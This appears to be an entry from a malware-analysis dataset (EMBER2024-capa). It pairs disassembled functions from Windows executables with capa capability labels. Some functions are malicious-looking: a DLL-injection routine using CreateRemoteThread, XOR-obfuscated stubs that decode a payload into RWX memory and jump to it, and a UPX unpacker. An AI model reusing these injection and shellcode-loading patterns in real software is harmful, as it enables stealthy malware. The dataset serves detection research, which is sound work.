joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa696e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x40b000]
push edi
jmp 0xa696fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa69701
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa696f0
mov eax, 1
add ebx, ebx
jne 0xa69713
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa69724
jne 0xa69743
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa69743
dec eax
add ebx, ebx
jne 0xa69730
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa69708
add ebx, ebx
jne 0xa6973f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa69795
xor ecx, ecx
sub eax, 3
jb 0xa6975b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa697ca
sar eax, 1
mov ebp, eax
jmp 0xa69766
add ebx, ebx
jne 0xa69766
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa69734
inc ecx
add ebx, ebx
jne 0xa69774
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa69734
add ebx, ebx
jne 0xa69781
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa69776
jne 0xa69792
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa69776
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa697b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa697a6
jmp 0xa696f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa697b4
add edi, ecx
jmp 0xa696f6
pop esi
mov edi, esi
mov ecx, 0x365cd3
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0xa697ef
cmp byte [edi], 0x35
jne 0xa697d4
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0xa697d2
lea edi, [esi + 0x664000]
mov eax, dword [edi]
or eax, eax
je 0xa69840
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6b1638]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6b1850]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa697f5
mov ecx, edi
jns 0xa69824
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6b1858]
or eax, eax
je 0xa6983a
mov dword [ebx], eax
add ebx, 4
jmp 0xa69812
call dword [esi + 0x6b1854]
mov ebp, dword [esi + 0x6b185c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa69874
sub esp, 0xffffff80
jmp 0x644f2b

Function at 0x43cf69
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov edx, 0x43ccda
or edi, edi
mov ecx, ecx
call fcn.0043cf8b
xor dword [esi], edx
add esi, 1
or edi, edi
sub ecx, ecx
cmp esi, eax
jne fcn.0043cf69
inc ecx
and ecx, edi
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40d29a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40d2a9
pop dword [ebp - 0x14]
mov eax, 0x34d407a8
sub eax, 0x349334ff
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3cfe8
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x5696
xor edx, edx
add edx, eax
mov ebx, 0x5f6f103b
sub ebx, 0x5f2dd477
add ebx, dword [ebp - 0x14]
mov edi, 0x6d7aaa6c
sub edi, 0xa659c6ca
add dword [ebp - 8], esi
mov esi, dword [ebx]
xor dword [ebp - 0x10], eax
add esi, edi
sub dword [ebp - 0xc], 0x4d753343
mov dword [edx], esi
xor dword [ebp - 4], 0xc1a264a1
add edx, 0xfb7c687b
sub edx, 0xfb7c6877
add ebx, 4
loop 0x40d2ff
add eax, 0x14d2b
xor ebx, ebx
add ebx, eax
add eax, 0xdbe6a07c
sub eax, 0xdbe6a077
mov ecx, 0x68354952
add ecx, 0x980ab6ae
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10001740
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x100182d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
push eax
push 0
push 0x410
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x100017ce
lea eax, [ebp - 0x110]
push eax
push 4
lea ecx, [ebp - 0x10c]
push ecx
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x100017ce
mov eax, dword [ebp - 0x10c]
push esi
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
mov ecx, 0x41
lea esi, [ebp - 0x108]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006c27
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10006c27
mov esp, ebp
pop ebp
ret

Function at 0x10001890
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push 4
push 0x1000
push 0x1001a4c8
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x100018bc
pop esi
xor eax, eax
pop ebx
ret
push 0
push 0x1001a4c8
call ebx
inc eax
push eax
push 0x1001a4c8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100018b7
push str.LoadLibraryA
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100018b7
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x100018b7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, 1
pop ebx
ret
Function at 0x100054c0
Capabilities:
Create thread
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011278
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x100182d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x10001920
push ebx
push ebx
call fcn.10007be6
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x34]
push eax
push 0xf003f
push ebx
push str.SOFTWAREzolen_app_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x100055fb
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x38]
push eax
push ebx
push 0x100163b0
push ecx
mov dword [ebp - 0x3c], 0x20
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x100055f1
cmp dword [ebp - 0x38], 1
jne 0x100055f1
mov dword [ebp - 0x58], vtable.Base64Coder.0
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10005578
sub eax, edx
push eax
lea edx, [ebp - 0x30]
push edx
lea ecx, [ebp - 0x58]
call fcn.100013c0
mov eax, dword [ebp - 0x54]
push eax
push 0x20
push 0x10019f0c
call fcn.10007cf1
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
add esp, 0xc
push ebx
push ebx
push 0xffffffffffffffff
push 0x10019f0c
push ebx
push ebx
call esi
cmp eax, 0x40
ja 0x100055ca
push eax
push 0x10019f30
push 0xffffffffffffffff
push 0x10019f0c
push ebx
push ebx
call esi
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], vtable.Base64Coder.0
cmp eax, ebx
je 0x100055e1
push eax
call fcn.10007ce6
add esp, 4
mov eax, dword [ebp - 0x50]
cmp eax, ebx
je 0x100055f1
push eax
call fcn.10007ce6
add esp, 4
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006c27
mov esp, ebp
pop ebp
ret
Function at 0x10005f30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10005fa1
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10005fa1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x10005f8a
jmp 0x10005fa1
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x10006c27
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100182d0]
jne 0x10006c31
repz ret
jmp fcn.100094c8
Function at 0x100105bf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100182d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000a3f7
and dword [ebp - 0x14], 0
cmp dword [0x10019de8], 0
mov dword [ebp - 0x18], eax
jne 0x10010672
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001071a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001071a
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10019de8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10019dec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10019df0], eax
call edi
push eax
call esi
mov dword [0x10019df8], eax
test eax, eax
je 0x10010672
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10019df4], eax
mov eax, dword [0x10019df4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100106cb
cmp dword [0x10019df8], ecx
je 0x100106cb
push eax
call esi
push dword [0x10019df8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100106cb
test ebx, ebx
je 0x100106cb
call edi
test eax, eax
je 0x100106c2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100106c2
test byte [ebp - 8], 1
jne 0x100106cb
or dword [ebp + 0x10], 0x200000
jmp 0x100106fe
mov eax, dword [0x10019dec]
cmp eax, dword [ebp - 0x18]
je 0x100106fe
push eax
call esi
test eax, eax
je 0x100106fe
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100106fe
mov eax, dword [0x10019df0]
cmp eax, dword [ebp - 0x18]
je 0x100106fe
push eax
call esi
test eax, eax
je 0x100106fe
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10019de8]
call esi
test eax, eax
je 0x1001071a
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1001071c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006c27
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40288e
pop dword [ebp - 0x50]
mov eax, 0x40288e
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x16e0c009
sub dword [ebp - 0x60], 0xc88e7abe
mov dword [ebp - 0x5c], 0xc411b2d1
add dword [ebp - 0x5c], 0x6e219974
mov dword [ebp - 0x58], 0x3eb346a7
sub dword [ebp - 0x58], 0xf2670279
mov dword [ebp - 0x54], 0x22e37cad
sub dword [ebp - 0x54], 0x22e37cad
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x796c78c5
add dword [ebp - 0x60], 0xfb05f091
mov dword [ebp - 0x5c], 0x3f1b23ea
sub dword [ebp - 0x5c], 0xfdaec275
mov dword [ebp - 0x58], 0x3d46fb0
sub dword [ebp - 0x58], 0xa0650344
mov dword [ebp - 0x54], 0x2cc48abc
sub dword [ebp - 0x54], 0x2cc48abc
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3a436
push 0
call eax
mov ecx, 0xd3bce5c6
add ecx, 0x2c4370e5
mov edx, eax
mov ebx, 0x804c6c75
sub ebx, 0x800b5c75
add ebx, dword [ebp - 0x50]
mov esi, 0xdc39192d
sub esi, 0xd1a1d50c
xor dword [ebp - 0x28], eax
mov edi, dword [ebx]
mov dword [ebp - 0x1c], 0x749ba676
xor edi, esi
sub dword [ebp - 8], 0x3db31f95
mov dword [edx], edi
xor dword [ebp - 0x2c], 0x30f5d75f
add edx, 4
add ebx, 0xeb32f062
add ebx, 0x14cd0fa2
loop 0x4029a1
add eax, 0x14d7f
xor ebx, ebx
add ebx, eax
add eax, 0xeb43cb34
sub eax, 0xeb43cb2f
mov ecx, 0x854f8c1e
sub ecx, 0x850f8c1e
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x406ced
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x40af98
call fcn.00406fd4
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x406d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x406d45
cmp eax, 0x20b
je 0x406d32
mov dword [ebp - 0x1c], ebx
jmp 0x406d59
cmp dword [ecx + 0x84], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x406d53
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40ea78], 0xffffffff
or dword [0x40ea7c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40d464]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40d460]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ea74], eax
call fcn.00406f30
call fcn.00406fd0
cmp dword [0x40d320], ebx
jne 0x406db9
push fcn.00406fd0
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00406fbe
push 0x40c00c
push 0x40c008
call sub.MSVCR71.dll__initterm
push 0x406f74
call fcn.00406f1e
mov eax, dword [0x40d45c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40d458]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x406e0d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406e8b
cmp al, bl
je 0x406e37
cmp dword [ebp - 0x20], ebx
jne 0x406e8b
mov al, byte [esi]
cmp al, bl
je 0x406e47
cmp al, 0x20
ja 0x406e47
inc esi
mov dword [ebp - 0x24], esi
jmp 0x406e37
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x406e63
movzx eax, word [ebp - 0x54]
jmp 0x406e66
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00404254
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x406e83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x406ee0
cmp al, 0x22
jne 0x406e9a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x406ead
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x406e25
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040700f
ret

Function at 0x404547
Capabilities:
Encode data using xor

Disassembly:
call 0x40442a
mov ecx, 0x253
call 0x404547
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x40454a
ljmp 0x6cb6:0xda8d5821
Function at 0x402380
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409665
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x40c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x20], edi
movzx eax, byte [ebx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [ebx + 1]
xor ecx, eax
movzx eax, byte [ebx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
push eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push ebx
push eax
call fcn.00402310
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x402403
mov dword [edi], eax
mov byte [edi + 4], 0
jmp 0x402567
cmp dword [0x474a28], 0xfffffff
jne 0x40241a
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x28], 0x474a24
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x24], 0
call fcn.004087e9
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], 1
mov ecx, dword [ebx]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], 0
mov ecx, dword [0x474a28]
mov ebx, dword [0x474a3c]
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x40a680]
mov eax, ebx
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x40a680]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
movss xmm0, dword [0x474a20]
comiss xmm1, xmm0
jbe 0x402514
divss xmm2, xmm0
sub esp, 8
cvtps2pd xmm0, xmm2
movsd qword [ebp - 0x18], xmm0
fld qword [ebp - 0x18]
fstp qword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceil
fstp qword [ebp - 0x18]
movsd xmm0, qword [ebp - 0x18]
add esp, 8
cvtpd2ps xmm0, xmm0
call fcn.00409540
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
cmp ebx, ecx
jae 0x4024f3
cmp ebx, 0x200
jae 0x4024f1
shl ebx, 3
cmp ebx, ecx
jae 0x4024f3
mov ebx, ecx
push ebx
call fcn.00402810
mov edi, dword [ebp - 0x1c]
lea eax, [esi + 8]
push edi
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402310
mov ecx, dword [0x474a28]
mov edx, dword [eax]
jmp 0x40251a
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ebx, dword [edx + 4]
inc ecx
mov dword [0x474a28], ecx
mov dword [esi], edx
mov dword [esi + 4], ebx
mov dword [ebx], esi
mov dword [edx + 4], esi
mov eax, dword [0x474a38]
mov ecx, dword [0x474a2c]
and eax, edi
mov edi, dword [ecx + eax*8]
cmp edi, dword [0x474a24]
jne 0x40254b
mov dword [ecx + eax*8], esi
jmp 0x40255a
cmp edi, edx
jne 0x402554
mov dword [ecx + eax*8], esi
jmp 0x40255e
cmp dword [ecx + eax*8 + 4], ebx
jne 0x40255e
mov dword [ecx + eax*8 + 4], esi
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
mov byte [edi + 4], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4025f0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409665
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x40c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x20], edi
movzx eax, byte [ebx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [ebx + 1]
xor ecx, eax
movzx eax, byte [ebx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
push eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push ebx
push eax
call fcn.00402580
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x402673
mov dword [edi], eax
mov byte [edi + 4], 0
jmp 0x4027d7
cmp dword [0x474a08], 0xfffffff
jne 0x40268a
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x28], 0x474a04
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x24], 0
call fcn.004087e9
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], 1
mov ecx, dword [ebx]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], 0
mov ecx, dword [0x474a08]
mov ebx, dword [0x474a1c]
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x40a680]
mov eax, ebx
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x40a680]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
movss xmm0, dword [0x474a00]
comiss xmm1, xmm0
jbe 0x402784
divss xmm2, xmm0
sub esp, 8
cvtps2pd xmm0, xmm2
movsd qword [ebp - 0x18], xmm0
fld qword [ebp - 0x18]
fstp qword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceil
fstp qword [ebp - 0x18]
movsd xmm0, qword [ebp - 0x18]
add esp, 8
cvtpd2ps xmm0, xmm0
call fcn.00409540
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
cmp ebx, ecx
jae 0x402763
cmp ebx, 0x200
jae 0x402761
shl ebx, 3
cmp ebx, ecx
jae 0x402763
mov ebx, ecx
push ebx
call fcn.00402980
mov edi, dword [ebp - 0x1c]
lea eax, [esi + 8]
push edi
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402580
mov ecx, dword [0x474a08]
mov edx, dword [eax]
jmp 0x40278a
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ebx, dword [edx + 4]
inc ecx
mov dword [0x474a08], ecx
mov dword [esi], edx
mov dword [esi + 4], ebx
mov dword [ebx], esi
mov dword [edx + 4], esi
mov eax, dword [0x474a18]
mov ecx, dword [0x474a0c]
and eax, edi
mov edi, dword [ecx + eax*8]
cmp edi, dword [0x474a04]
jne 0x4027bb
mov dword [ecx + eax*8], esi
jmp 0x4027ca
cmp edi, edx
jne 0x4027c4
mov dword [ecx + eax*8], esi
jmp 0x4027ce
cmp dword [ecx + eax*8 + 4], ebx
jne 0x4027ce
mov dword [ecx + eax*8 + 4], esi
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
mov byte [edi + 4], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8